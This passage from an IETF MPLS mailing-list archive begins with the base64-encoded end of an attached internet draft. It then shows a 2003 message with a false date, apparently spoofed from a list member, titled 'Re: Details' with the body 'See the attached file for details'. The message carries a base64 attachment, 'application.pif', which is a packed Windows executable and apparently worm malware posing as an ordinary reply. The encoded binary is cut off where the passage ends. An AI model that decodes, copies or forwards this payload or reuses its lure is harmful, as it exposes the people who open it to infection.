Y2VzcyAtLSBSZXZpc2lvbiAzIiwgQkNQDQogICAgICAgOSwgUkZDIDIwMjYsIE9jdG9iZXIgMTk5
Ni4NCg0KICAgIFsyXUJyYWRuZXIsIFMuLCAiS2V5IHdvcmRzIGZvciB1c2UgaW4gUkZDcyB0byBJ
bmRpY2F0ZSBSZXF1aXJlbWVudA0KICAgICAgIExldmVscyIsIEJDUCAxNCwgUkZDIDIxMTksIE1h
cmNoIDE5OTcuDQoNCiAgICBbM11TcmluaXZhc2FuLCBDLiwgVmlzd2FuYXRoYW4sIEEuIGFuZCBU
LiBOYWRlYXUsICJNdWx0aXByb3RvY29sDQogICAgICAgTGFiZWwgU3dpdGNoaW5nIChNUExTKSBU
cmFmZmljIEVuZ2luZWVyaW5nIE1hbmFnZW1lbnQgSW5mb3JtYXRpb24NCiAgICAgICBCYXNlIiwg
SW50ZXJuZXQgRHJhZnQgPGRyYWZ0LWlldGYtbXBscy10ZS1taWItMDgudHh0LCBKYW51YXJ5DQog
ICAgICAgMjAwMi4gV29yayBpbiBwcm9ncmVzcy4NCg0KICAgIFs0XVNyaW5pdmFzYW4sIEMuLCBW
aXN3YW5hdGhhbiwgQS4gYW5kIFQuIE5hZGVhdSwgIk1QTFMgTGFiZWwgU3dpdGNoDQogICAgICAg
Um91dGVyIE1hbmFnZW1lbnQgSW5mb3JtYXRpb24gQmFzZSAiLCBJbnRlcm5ldCBEcmFmdCA8ZHJh
ZnQtaWV0Zi0NCiAgICAgICBtcGxzLWxzci1taWItMDgudHh0LCBKYW51YXJ5IDIwMDIuIFdvcmsg
aW4gcHJvZ3Jlc3MuDQoNCiAgICBbNV1QYW4sIFAuLCBHYW4sIEQuLCBTd2FsbG93LCBHLiwgVmFz
c2V1ciwgSi5QaC4sIENvb3BlciwgRC4sIEF0bGFzLA0KICAgICAgIEEuLCBKb3JrLCBNLiwgRmFz
dCBSZXJvdXRlIFRlY2huaXF1ZXMgaW4gUlNWUC1URSwgZHJhZnQtaWV0Zi1tcGxzLQ0KICAgICAg
IHJzdnAtbHNwLWZhc3RyZXJvdXRlLTAwLnR4dCwgSmFudWFyeSAyMDAyLiBXb3JrIGluIHByb2dy
ZXNzLg0KDQo5LiBBY2tub3dsZWRnbWVudHMNCg0KICAgIFdlIHdvdWxkIGxpa2UgdG8gdGhhbmsg
QWxpYSBBdGxhcywgWWVvbmcgVGFpIGFuZCBXYWx0ZXIgVmFuaGltYmVlY2ssDQogICAgTWlrZSBQ
aWVjdWNoIGFuZCBBZHJpZW4gR3Jpc2UgZm9yIHRoZSBoZWxwZnVsIGRpc2N1c3Npb25zIGFuZA0K
ICAgIGNvbnRyaWJ1dGlvbnMgdG8gdGhpcyBkb2N1bWVudC4NCg0KMTAuIEludGVsbGVjdHVhbCBQ
cm9wZXJ0eSBDb25zaWRlcmF0aW9ucw0KDQogICAgVGhlIElFVEYgdGFrZXMgbm8gcG9zaXRpb24g
cmVnYXJkaW5nIHRoZSB2YWxpZGl0eSBvciBzY29wZSBvZiBhbnkNCiAgICBpbnRlbGxlY3R1YWwg
cHJvcGVydHkgb3Igb3RoZXIgcmlnaHRzIHRoYXQgbWlnaHQgYmUgY2xhaW1lZCB0byBwZXItDQog
ICAgdGFpbiB0byB0aGUgaW1wbGVtZW50YXRpb24gb3IgdXNlIG9mIHRoZSB0ZWNobm9sb2d5IGRl
c2NyaWJlZCBpbiB0aGlzDQogICAgZG9jdW1lbnQgb3IgdGhlIGV4dGVudCB0byB3aGljaCBhbnkg
bGljZW5zZSB1bmRlciBzdWNoIHJpZ2h0cyBtaWdodA0KICAgIG9yIG1pZ2h0IG5vdCBiZSBhdmFp
bGFibGU7IG5laXRoZXIgZG9lcyBpdCByZXByZXNlbnQgdGhhdCBpdCBoYXMgbWFkZQ0KICAgIGFu
eSBlZmZvcnQgdG8gaWRlbnRpZnkgYW55IHN1Y2ggcmlnaHRzLiAgSW5mb3JtYXRpb24gb24gdGhl
IElFVEYncw0KICAgIHByb2NlZHVyZXMgd2l0aCByZXNwZWN0IHRvIHJpZ2h0cyBpbiBzdGFuZGFy
ZHMtdHJhY2sgYW5kIHN0YW5kYXJkcy0NCiAgICByZWxhdGVkIGRvY3VtZW50YXRpb24gY2FuIGJl
IGZvdW5kIGluIEJDUC0xMS4gIENvcGllcyBvZiBjbGFpbXMgb2YNCiAgICByaWdodHMgbWFkZSBh
dmFpbGFibGUgZm9yIHB1YmxpY2F0aW9uIGFuZCBhbnkgYXNzdXJhbmNlcyBvZiBsaWNlbnNlcw0K
ICAgIHRvIGJlIG1hZGUgYXZhaWxhYmxlLCBvciB0aGUgcmVzdWx0IG9mIGFuIGF0dGVtcHQgbWFk
ZSB0byBvYnRhaW4gYQ0KICAgIGdlbmVyYWwgbGljZW5zZSBvciBwZXJtaXNzaW9uIGZvciB0aGUg
dXNlIG9mIHN1Y2ggcHJvcHJpZXRhcnkgcmlnaHRzDQogICAgYnkgaW1wbGVtZW50ZXJzIG9yIHVz
ZXJzIG9mIHRoaXMgc3BlY2lmaWNhdGlvbiBjYW4gYmUgb2J0YWluZWQgZnJvbQ0KICAgIHRoZSBJ
RVRGIFNlY3JldGFyaWF0Lg0KDQogICAgVGhlIElFVEYgaW52aXRlcyBhbnkgaW50ZXJlc3RlZCBw
YXJ0eSB0byBicmluZyB0byBpdHMgYXR0ZW50aW9uIGFueQ0KICAgIGNvcHlyaWdodHMsIHBhdGVu
dHMgb3IgcGF0ZW50IGFwcGxpY2F0aW9ucywgb3Igb3RoZXIgcHJvcHJpZXRhcnkNCiAgICByaWdo
dHMgd2hpY2ggbWF5IGNvdmVyIHRlY2hub2xvZ3kgdGhhdCBtYXkgYmUgcmVxdWlyZWQgdG8gcHJh
Y3RpY2UNCiAgICB0aGlzIHN0YW5kYXJkLiAgUGxlYXNlIGFkZHJlc3MgdGhlIGluZm9ybWF0aW9u
IHRvIHRoZSBJRVRGIEV4ZWN1dGl2ZQ0KICAgIERpcmVjdG9yLg0KDQoxMS4gQXV0aG9ycycgQWRk
cmVzc2VzDQoNCiAgICBSaXphIENldGluDQogICAgQWxjYXRlbA0KICAgIEZyYW5jaXMgV2VsbGVz
cGxlaW4gMQ0KICAgIEItMjAxOCBBbnR3ZXJwLCBCZWxnaXVtDQogICAgRW1haWw6IHJpemEuY2V0
aW5AYWxjYXRlbC5iZQ0KDQogICAgU3RlZmFhbiBEZSBDbm9kZGVyDQogICAgQWxjYXRlbA0KICAg
IEZyYW5jaXMgV2VsbGVzcGxlaW4gMQ0KICAgIEItMjAxOCBBbnR3ZXJwLCBCZWxnaXVtDQogICAg
RW1haWw6IHN0ZWZhYW4uZGVfY25vZGRlckBhbGNhdGVsLmJlDQoNCiAgICBEZXItSHdhIEdhbg0K
ICAgIEp1bmlwZXIgTmV0d29ya3MsIEluYy4NCiAgICAxMTk0IE4uIE1hdGhpbGRhIEF2ZW51ZQ0K
ICAgIFN1bm55dmFsZSwgQ0EgOTQwODkNCiAgICBFbWFpbDogZGhnQGp1bmlwZXIubmV0DQoNCiAg
ICBUaG9tYXMgRC4gTmFkZWF1DQogICAgQ2lzY28gU3lzdGVtcywgSW5jLg0KICAgIDMwMCBBcG9s
bG8gRHJpdmUNCiAgICBDaGVsbXNmb3JkLCBNQSAwMTgyNA0KICAgIEVtYWlsOiB0bmFkZWF1QGNp
c2NvLmNvbQ0KDQoxMi4gRnVsbCBDb3B5cmlnaHQgU3RhdGVtZW50DQoNCiAgICBDb3B5cmlnaHQg
KEMpIFRoZSBJbnRlcm5ldCBTb2NpZXR5ICgyMDAxKS4gQWxsIFJpZ2h0cyBSZXNlcnZlZC4NCg0K
ICAgIFRoaXMgZG9jdW1lbnQgYW5kIHRyYW5zbGF0aW9ucyBvZiBpdCBtYXkgYmUgY29waWVkIGFu
ZCBmdXJuaXNoZWQgdG8NCiAgICBvdGhlcnMsIGFuZCBkZXJpdmF0aXZlIHdvcmtzIHRoYXQgY29t
bWVudCBvbiBvciBvdGhlcndpc2UgZXhwbGFpbiBpdA0KICAgIG9yIGFzc2lzdCBpbiBpdHMgaW1w
bGVtZW50YXRpb24gbWF5IGJlIHByZXBhcmVkLCBjb3BpZWQsIHB1Ymxpc2hlZA0KICAgIGFuZCBk
aXN0cmlidXRlZCwgaW4gd2hvbGUgb3IgaW4gcGFydCwgd2l0aG91dCByZXN0cmljdGlvbiBvZiBh
bnkNCiAgICBraW5kLCBwcm92aWRlZCB0aGF0IHRoZSBhYm92ZSBjb3B5cmlnaHQgbm90aWNlIGFu
ZCB0aGlzIHBhcmFncmFwaCBhcmUNCiAgICBpbmNsdWRlZCBvbiBhbGwgc3VjaCBjb3BpZXMgYW5k
IGRlcml2YXRpdmUgd29ya3MuIEhvd2V2ZXIsIHRoaXMNCiAgICBkb2N1bWVudCBpdHNlbGYgbWF5
IG5vdCBiZSBtb2RpZmllZCBpbiBhbnkgd2F5LCBzdWNoIGFzIGJ5IHJlbW92aW5nDQogICAgdGhl
IGNvcHlyaWdodCBub3RpY2Ugb3IgcmVmZXJlbmNlcyB0byB0aGUgSW50ZXJuZXQgU29jaWV0eSBv
ciBvdGhlcg0KICAgIEludGVybmV0IG9yZ2FuaXphdGlvbnMsIGV4Y2VwdCBhcyBuZWVkZWQgZm9y
IHRoZSBwdXJwb3NlIG9mDQogICAgZGV2ZWxvcGluZyBJbnRlcm5ldCBzdGFuZGFyZHMgaW4gd2hp
Y2ggY2FzZSB0aGUgcHJvY2VkdXJlcyBmb3INCiAgICBjb3B5cmlnaHRzIGRlZmluZWQgaW4gdGhl
IEludGVybmV0IFN0YW5kYXJkcyBwcm9jZXNzIG11c3QgYmUNCiAgICBmb2xsb3dlZCwgb3IgYXMg
cmVxdWlyZWQgdG8gdHJhbnNsYXRlIGl0IGludG8gbGFuZ3VhZ2VzIG90aGVyIHRoYW4NCiAgICBF
bmdsaXNoLg0KDQogICAgVGhlIGxpbWl0ZWQgcGVybWlzc2lvbnMgZ3JhbnRlZCBhYm92ZSBhcmUg
cGVycGV0dWFsIGFuZCB3aWxsIG5vdCBiZQ0KICAgIHJldm9rZWQgYnkgdGhlIEludGVybmV0IFNv
Y2lldHkgb3IgaXRzIHN1Y2Nlc3NvcnMgb3IgYXNzaWducy4NCg0KICAgIFRoaXMgZG9jdW1lbnQg
YW5kIHRoZSBpbmZvcm1hdGlvbiBjb250YWluZWQgaGVyZWluIGlzIHByb3ZpZGVkIG9uIGFuDQog
ICAgIkFTIElTIiBiYXNpcyBhbmQgVEhFIElOVEVSTkVUIFNPQ0lFVFkgQU5EIFRIRSBJTlRFUk5F
VCBFTkdJTkVFUklORw0KICAgIFRBU0sgRk9SQ0UgRElTQ0xBSU1TIEFMTCBXQVJSQU5USUVTLCBF
WFBSRVNTIE9SIElNUExJRUQsIElOQ0xVRElORw0KICAgIEJVVCBOT1QgTElNSVRFRCBUTyBBTlkg
V0FSUkFOVFkgVEhBVCBUSEUgVVNFIE9GIFRIRSBJTkZPUk1BVElPTg0KICAgIEhFUkVJTiBXSUxM
IE5PVCBJTkZSSU5HRSBBTlkgUklHSFRTIE9SIEFOWSBJTVBMSUVEIFdBUlJBTlRJRVMgT0YNCiAg
ICBNRVJDSEFOVEFCSUxJVFkgT1IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuDQo=

--------------7C1CC5213D400B0C42A77E53--



From owner-mpls@UU.NET  Wed Oct 15 05:47:37 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA22421
	for <mpls-archive@lists.ietf.org>; Wed, 15 Oct 2003 05:47:35 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkmp28392
	for <mpls-archive@lists.ietf.org>; Wed, 15 Oct 2003 09:47:42 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpkmp27944;
	Wed, 15 Oct 2003 09:47:30 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkmn13077
	for mpls-outgoing; Wed, 15 Oct 2003 09:27:14 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpkmn13055
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 15 Oct 2003 09:27:05 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpkmn14772
	for <mpls@uu.net>; Wed, 15 Oct 2003 09:26:16 GMT
From: zinin@psg.com
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.82.129])
	id QQphmp09806
	for <mpls@uu.net>; Wed, 24 Sep 2003 06:53:31 GMT
Message-Id: <QQphmp09806.200309240653@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Details
Date: Fri, 1 Jan 1999 2:32:39 +0530
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_008B4B98"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format

--_NextPart_000_008B4B98
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

See the attached file for details
--_NextPart_000_008B4B98
Content-Type: application/octet-stream;
	name="application.pif"
Content-Disposition: attachment;
	filename="application.pif"
Content-Transfer-Encoding: base64

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em
nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA
TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA
AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA
AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu
c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS
AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA
AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
